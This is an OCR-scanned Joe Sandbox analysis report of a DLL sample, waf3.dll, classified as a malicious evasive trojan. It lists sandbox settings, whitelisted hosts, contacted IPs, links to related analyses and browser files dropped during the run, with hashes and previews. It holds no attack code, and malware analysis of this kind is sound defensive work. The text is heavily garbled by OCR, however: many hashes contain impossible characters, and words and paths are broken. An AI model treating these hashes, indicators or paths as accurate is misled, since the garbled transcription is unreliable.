rundll32.exe, 00000001.0000000
2.202064213.00000239B663F000.0
0000004.00000001.sdmp, regsvr32.exe,
00000002.00000002.201119878.00000
00002DB0000.00000004.00000001.

rundll32.exe, 00000001.0000000
2.202000977.00000239B65CB000.0
0000004.00000020.sdmp

85-0f8009-68ddb2abl[1].js.6.dr

Flag

=
=
=

I

Malicious

false

false

false

false

ASN
13335
15557
203220
16509

54113

Antivirus Detection

high
high
high
high
ASN Name
CLOUDFLARENETUS
LDCOMNETFR

YAHOO-DEBDE
AMAZON-02US

FASTLYUS

31.0.0 Emerald
365892
10.03.2021
05:52:13
CloudBasic

Oh 6m 12s

false

Reputation

Malicious
false

true

false

false

false
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Report type: light

Sample file name: waf3.dll
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211
Number of analysed new started processes analysed: 27
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal64.troj.evad.winDLL@11/122@14/5
EGA Information: Failed
HDC Information: e Successful, ratio: 5.2% (good quality ratio 2.5%)

e Quality average: 27.7%
e Quality standard deviation: 36%

HCA Information: e Successful, ratio: 77%
e Number of executed functions: 0
* Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension:
il
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Warnings: Show All

e Exclude process from analysis (whitelisted):
taskhostw.exe, MpCmdRun.exe,
BackgroundTransferHost.exe,
backgroundTaskHost.exe, SgrmBroker.exe,
conhost.exe, svchost.exe, UsoClient.exe

e TCP Packets have been reduced to 100

e Created / dropped Files have been reduced to 100

e Excluded IPs from analysis (whitelisted):
93.184.220.29, 88.221.62.148, 204.79.197.203,
204.79.197.200, 13.107.21.200, 92.122.213.187,
92.122.213.231, 65.55.44.109, 184.30.24.22,
37.157.6.234, 37.157.5.71, 37.157.2.247,
40.88.32.150, 51.11.168.160, 152.199.19.161,
23.218.208.56, 20.54.26.129, 104.42.151.234,
168.61.161.212, 51.104.144.132, 92.122.213.194,
92.122.213.247, 13.88.21.125, 51.104.139.180

e Excluded domains from analysis (whitelisted):
cs9.wac.phicdn.net, arc.msn.com.nsatc.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, arc.msn.com,
e€11290.dspg.akamaiedge.net,
iecvlist.microsoft.com,
skypedataprdcoleus15.cloudapp.net,
go.microsoft.com, ocsp.digicert.com, s1-
eu.adformnet.akadns.net, www-bing-com.dual-a-
0001.a-msedge.net,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net, www.bing.com,
fs.microsoft.com, dual-a-0001.a-msedge.net,
ie9comview.vo.msecnd.net, a-0003.a-msedge.net,
cvision.media.net.edgekey.net, ris-
prod.trafficmanager.net, e1723.g.akamaiedge.net,
skypedataprdcolcus17.cloudapp.net, www-msn-
com.a-0003.a-msedge.net,
al1999.dscg2.akamai.net,
web.vortex.data.trafficmanager.net,
e607.d.akamaiedge.net,
web.vortex.data.microsoft.com,
ris.api.iris.microsoft.com, a-0001.a-
afdentry.net.trafficmanager.net,
go.microsoft.com.edgekey.net,
blobcollector.events.data.trafficmanager.net, static-
global-s-msn-com.akamaized.net,
skypedataprdcolwus16.cloudapp.net,
skypedataprdcolwus15.cloudapp.net,
cs9.wpc.vOcdn.net

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size exceeded maximum capacity and may
have missing disassembly code.

e Report size getting too big, too many
NtDeviceloControlFile calls found.

e Report size getting too big, too many
NtProtectVirtualMemory calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

05:52:58 API Interceptor 2x Sleep call for process: regsvr32.exe modified
05:52:58 API Interceptor 2x Sleep call for process: rundll32.exe modified

Joe Sandbox View | Context

IPs
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Match
104.20.184.68

87.248.118.22

Domains

Match

tls13.taboola.map.fastly.net

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

hitp/;

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

us.il.yim
g.com/favi
con.ico

us.il.yim
g.com/us.y
img.com/i/
yglimg/ilu
s/uifjoin.gif
yui.yahoo
apis.com/3
.4.1/build/yuilyui-
min.js

www.flick
r.com/phot
os/knappas
sociatesinc/

cookiex.n
gd.yahoo.c
om/ack?xid
=E0&eid=Xj
STxQAAAemD
VVLO

l.yimg.co
m/alilww/m
et/yahoo_|
ogo_us_061
509.png

Context

151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
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https://view.joesandbox.com/analysis/274968/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274968/html/none?idtype=webid
https://view.joesandbox.com/analysis/274947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274947/html/none?idtype=webid
https://view.joesandbox.com/analysis/274864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274864/html/none?idtype=webid
https://view.joesandbox.com/analysis/274860/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274860/html/none?idtype=webid
https://view.joesandbox.com/analysis/274846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274846/html/none?idtype=webid
https://view.joesandbox.com/analysis/274422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274422/html/none?idtype=webid
https://view.joesandbox.com/analysis/274390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274390/html/none?idtype=webid
https://view.joesandbox.com/analysis/274186/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274186/html/none?idtype=webid
https://view.joesandbox.com/analysis/274096/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274096/html/none?idtype=webid
https://view.joesandbox.com/analysis/273957/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273957/html/none?idtype=webid
https://view.joesandbox.com/analysis/273608/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273608/html/none?idtype=webid
https://view.joesandbox.com/analysis/273582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273582/html/none?idtype=webid
https://view.joesandbox.com/analysis/273529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273529/html/none?idtype=webid
https://view.joesandbox.com/analysis/273379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273379/html/none?idtype=webid
https://view.joesandbox.com/analysis/273320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273320/html/none?idtype=webid
https://view.joesandbox.com/analysis/273198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273198/html/none?idtype=webid
https://view.joesandbox.com/analysis/273164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273164/html/none?idtype=webid
https://view.joesandbox.com/analysis/273163/html/none?idtype=webid#static
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https://view.joesandbox.com/analysis/273910/html/none?idtype=webid
https://view.joesandbox.com/analysis/273744/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273744/html/none?idtype=webid
https://view.joesandbox.com/analysis/273622/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273622/html/none?idtype=webid
https://view.joesandbox.com/analysis/273586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273586/html/none?idtype=webid
https://view.joesandbox.com/analysis/273379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273379/html/none?idtype=webid
https://view.joesandbox.com/analysis/273357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273357/html/none?idtype=webid
https://view.joesandbox.com/analysis/273320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273320/html/none?idtype=webid
https://view.joesandbox.com/analysis/273198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273198/html/none?idtype=webid
https://view.joesandbox.com/analysis/273164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273164/html/none?idtype=webid
https://view.joesandbox.com/analysis/273163/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273163/html/none?idtype=webid
https://view.joesandbox.com/analysis/274265/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274265/html/none?idtype=webid
https://view.joesandbox.com/analysis/273018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273018/html/none?idtype=webid
https://view.joesandbox.com/analysis/267415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267415/html/none?idtype=webid
https://view.joesandbox.com/analysis/263070/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263070/html/none?idtype=webid
https://view.joesandbox.com/analysis/260852/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260852/html/none?idtype=webid
https://view.joesandbox.com/analysis/258067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258067/html/none?idtype=webid
https://view.joesandbox.com/analysis/252478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252478/html/none?idtype=webid
https://view.joesandbox.com/analysis/249617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249617/html/none?idtype=webid
https://view.joesandbox.com/analysis/246835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246835/html/none?idtype=webid
https://view.joesandbox.com/analysis/246395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246395/html/none?idtype=webid
https://view.joesandbox.com/analysis/246224/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246224/html/none?idtype=webid
https://view.joesandbox.com/analysis/246213/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246213/html/none?idtype=webid
https://view.joesandbox.com/analysis/246122/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246122/html/none?idtype=webid
https://view.joesandbox.com/analysis/246117/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246117/html/none?idtype=webid
https://view.joesandbox.com/analysis/246114/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246114/html/none?idtype=webid
https://view.joesandbox.com/analysis/246113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246113/html/none?idtype=webid
https://view.joesandbox.com/analysis/246111/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246111/html/none?idtype=webid
https://view.joesandbox.com/analysis/246110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246110/html/none?idtype=webid
https://view.joesandbox.com/analysis/245933/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245933/html/none?idtype=webid
https://view.joesandbox.com/analysis/245922/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245922/html/none?idtype=webid
https://view.joesandbox.com/analysis/274979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274979/html/none?idtype=webid
https://view.joesandbox.com/analysis/274974/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274974/html/none?idtype=webid
https://view.joesandbox.com/analysis/274968/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274968/html/none?idtype=webid

Match

cebf3254611a8c095a3d821d44539877

Dropped Files

Copyright Joe Security LLC 2021

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
"
17
o
8,
a*.
[
[=1
[72]
i
3
S
)
2
g
3
)
c
A
r

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 87.248.118.22
e 104.20.184.68
e 151.101.1.44

e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
e 143.204.3.74
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https://view.joesandbox.com/analysis/274965/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274965/html/none?idtype=webid
https://view.joesandbox.com/analysis/274952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274952/html/none?idtype=webid
https://view.joesandbox.com/analysis/274948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274948/html/none?idtype=webid
https://view.joesandbox.com/analysis/274947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274947/html/none?idtype=webid
https://view.joesandbox.com/analysis/274936/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274936/html/none?idtype=webid
https://view.joesandbox.com/analysis/274916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274916/html/none?idtype=webid
https://view.joesandbox.com/analysis/274915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274915/html/none?idtype=webid
https://view.joesandbox.com/analysis/274864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274864/html/none?idtype=webid
https://view.joesandbox.com/analysis/274862/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274862/html/none?idtype=webid
https://view.joesandbox.com/analysis/274860/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274860/html/none?idtype=webid
https://view.joesandbox.com/analysis/274846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274846/html/none?idtype=webid
https://view.joesandbox.com/analysis/274737/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274737/html/none?idtype=webid
https://view.joesandbox.com/analysis/274653/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274653/html/none?idtype=webid
https://view.joesandbox.com/analysis/274506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274506/html/none?idtype=webid
https://view.joesandbox.com/analysis/274422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274422/html/none?idtype=webid
https://view.joesandbox.com/analysis/274390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274390/html/none?idtype=webid
https://view.joesandbox.com/analysis/274186/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274186/html/none?idtype=webid
https://view.joesandbox.com/analysis/275030/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275030/html/none?idtype=webid
https://view.joesandbox.com/analysis/275014/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275014/html/none?idtype=webid
https://view.joesandbox.com/analysis/275010/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275010/html/none?idtype=webid
https://view.joesandbox.com/analysis/274979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274979/html/none?idtype=webid
https://view.joesandbox.com/analysis/274846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274846/html/none?idtype=webid
https://view.joesandbox.com/analysis/274655/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274655/html/none?idtype=webid
https://view.joesandbox.com/analysis/274649/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274649/html/none?idtype=webid
https://view.joesandbox.com/analysis/274645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274645/html/none?idtype=webid
https://view.joesandbox.com/analysis/274601/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274601/html/none?idtype=webid
https://view.joesandbox.com/analysis/274497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274497/html/none?idtype=webid
https://view.joesandbox.com/analysis/274481/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274481/html/none?idtype=webid
https://view.joesandbox.com/analysis/274427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274427/html/none?idtype=webid
https://view.joesandbox.com/analysis/274368/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274368/html/none?idtype=webid
https://view.joesandbox.com/analysis/274050/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274050/html/none?idtype=webid
https://view.joesandbox.com/analysis/274036/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274036/html/none?idtype=webid
https://view.joesandbox.com/analysis/274016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274016/html/none?idtype=webid
https://view.joesandbox.com/analysis/273900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273900/html/none?idtype=webid
https://view.joesandbox.com/analysis/273772/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273772/html/none?idtype=webid
https://view.joesandbox.com/analysis/273762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273762/html/none?idtype=webid
https://view.joesandbox.com/analysis/273570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273570/html/none?idtype=webid

No context

Created |/ dropped Files

C:\Users\user\AppData\Local\Microsoft\internet Explorer\DOMStore\7WO1MZUT\www.msn[1].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators

dropped

13

2.469670487371862

false

3:D90aKh:JFKb

C1DDEA3EF6BBEF3E7060A1A9AD89EACS
35E3224FCBD3E1AF306F2B6A2C6BBEAIB0O867966
B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB

6BESCEC7C862AFAESB37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B8995520D72B7C08752C0BE445DCEADESCF79F73480910F
D

false

high, very likely benign file

<root></root>

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\DOMStore\P80ULJLX\contextual.media[1].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

1985

4.909088760570334

false
48:00Q8bQ8bQHQ8bQ8NQBNQBNhQ8BNQIQB8NQB2Q82Q82Q82Q834Q834QDQ834Q834QSQV:qQCQCQHQCQ4Q4Q4Q4QIQ4QTQTQTQTQPA
C4AF51DC6DFBBF8A7AAC4F5DDEB633CB

DE298666393610DE9DBI6C5F0D52FI9BC97232BOD

36474092BE3D8FD87CAE8B490CBD24B18759E45F77560513F795335AE7189ECE

F0784D3B8A1018B4E5D90642E94300DFE626A4CBBBO9EC1F24E09C8DAADC799ADES114B04976D14FFAF1EOF1E76798C2D089A73B87ECBE2AD1740AAC1054D5¢4
09

false

low

<root></root><root></root><root><item name="HBCM_BIDS" value="{}" ltime="2962294448" htime="30873012" /></root><root><item name="HBCM_BIDS" value="{}"
Itime="2962294448" htime="30873012" /></root><root><item name="HBCM_BIDS" value="{}" Itime="2962294448" htime="30873012" /><item name="mntest" value=
"mntest” ltime="2962374448" htime="30873012" /></root><root><item name="HBCM_BIDS" value="{}" Itime="2962294448" htime="30873012" /></root><root><item
name="HBCM_BIDS" value="{}" ltime="2962454448" htime="30873012" /></root><root><item name="HBCM_BIDS" value="{}" Itime="2962454448" htime="30873012" />
</root><root><item name="HBCM_BIDS" value="{}" ltime="2962454448" htime="30873012" /></root><root><item name="HBCM_BIDS" value="{}" ltime="2962454448"
htime="30873012" /><item name="mntest" value="mntest" ltime="2964854448" htime="30873012" /></root><root><item name="HBCM_BIDS" value="{}" Itime="2
962454448" htime="30873012" /></root><root><item name="HBCM_BIDS" value="{}" ltime="2967854448" htim

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\RecoveryStore.{EB3E65B7-81A7-11EB-90E4-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

24152

1.761136782925811

false
48:1wlGcprUGwpLdG/ap83GIpcL1GvnZpvLNGVHZpILfGon1lgpvLBGo4LX5pctGWnFF:r7ZsZZ2pWWtefTctGLX5WHZh
0B9D440B1C5858629F28783CB362A37B

801AD1667A0AFCE44C511C4CE6107A15BB1FID3B
94AEFAAL17EOF14A1BB789B5BFC4E93582FBCDD6CF8EDES7ECOECBE40FF2F1D31
CA04D30F19D25968E9337B5552587CB4FFBE36DB258COF7560C64D6DFA9E415A94D3A84F47DFFF5CCAADOF6F548F2908D60D0B79961540F8A148B2A8680FFF9

false

low
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C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{EB3E65B9-81A7-11EB-90E4-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

194852

3.58615317015844

false

3072:02/2BfcYmuSkLTzGt9Z/2Bfc/muSkLTzGtU:BMr
6C3AD3D5323A3775AF4C7E7324A6F0D0
5EC39AC3C63E137A7134BA01B87CE636880A936C
FO9EC564F5C7AB02713DF52F2CDFD2232BA9262B087FBBB747C94A0FF2D5B5C5
9AA3206FDE8BB1327A42392812DCF590AACF32392AB6E8F7F028677728F99F175838D0C7DDFA082E937BE76B0255080EA67725D8FEEF85072491FAEA9D861D8E

false

low

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.050615668377702

false

12: TMHANMNXOE1LnWimI002EtM3MHANMNXOE1LnWiml00ObVbKEtMb:2d6NXOcSZHKdBNXxOcSZ76b
5D0928D7A72099530DB2F8460BFB799C

45AA2FFCOAB9F8A4DA7CD5020EC24CCBCCESD7A3
B664871C1B7F960279431784050394D948454BBF9718DAC585C078685A0D61F2
6E01635A80C1152431F5D902C09B8E9OC2A835E6970725C89432A5FB25BF519CFALF16C842617B3BFOAASCCD506E429F5DC77AA01D7F1FF4D90B7523F4B1B314
false

low

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xc1c30fdc,0x01d715b4</date><
accdate>0xc1c30fdc,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xc1c30fdc,0x01d715b4</date><accdate>0
xc1c30fdc,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile
></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.113083858658638

false

12: TMHdNMNxe2kp/nWiml002EtM3MHdNMNxe2kpGAWNWImIO0Obkak6EtMb:2d6NxrcSZHKA6NXrkWSZ7Aa7h
3C7FD205ECB0391B7AF8FEAL7E1471E6

14F994D1A51916030ADBEE3CC3441605FC764C54
367D2BA1E5830F216F7499EFB0AAAEASF809C184217B995B066BF4B4DC3F351D
4A5D6B50FC4B0F44F551283FAF81FCAD212059D099FD047EBDC2279A8E2506E46605A047E6B4218609F9E2FC51BB58168C4D7F526A545B52D73CF585A4390823
false

low

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xc1bbe8d8,0x01d715b4</date><a
ccdate>0xc1lbbe8d8,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xc1bbe8d8,0x01d715b4</date><a
ccdate>0xclbe4b25,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
dropped

662

5.069734496810398

false
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

12:TMHANMNxvL1LnWimI002EtM3MHANMNxVL1LnWimI000ObmZEtMb:2d6NxvRSZHKd6NXVRSZ7mb
720628E2AFDF214FFFA0CB20865042CF

BFACD09C207688D5E1492A096E443274F80B2012
210C161AE0377151D30E878B7F8B078F73AABBEF78F83E194EC3C09F569D587D

OAFC7CA47F34555E5574721CFA5FB88EGF81D8736DE237743DB23EFB7C4283B932E14355D7D8FF2BD6FDB023CF90AC03964B8D29CESD3CB7D40C4DACACFEAD
EO

false

low

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xc1c30fdc,0x01d715b4</date>
<accdate>0xc1c30fdc,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xc1c30fdc,0x01d715b4</date><accda
te>0xc1c30fdc,0x01d715b4</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

647

5.066094431336603

false

12: TMHdNMNXxiyMzfnWiml002EtM3MHdNMNxiyMzfnWiml000bd5EtMb: 2d6NXH+fSZHKd6NxH+fSZ7Jjb
AE325C9C24E5C05EB50F1F23A90AFF74

5DEA5A4F667D0E29AF8022B588BA79DD80D9851D
796F84E0678993BBF28DECD3BBBEE7A0A042FAB9099BA199B7F84A03CI9CA2BB7

01C52E4470A3C04B3D67657DFGE90DBAF8056C53703446C6B7B1F7CDB7C4ADFA4D03590E623C0B9712B611B4471F2FE4EB1BBC430C706418E4B2DESE3DYADL
E

false

low

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xc1cOad8a,0x01d715b4</date><acc
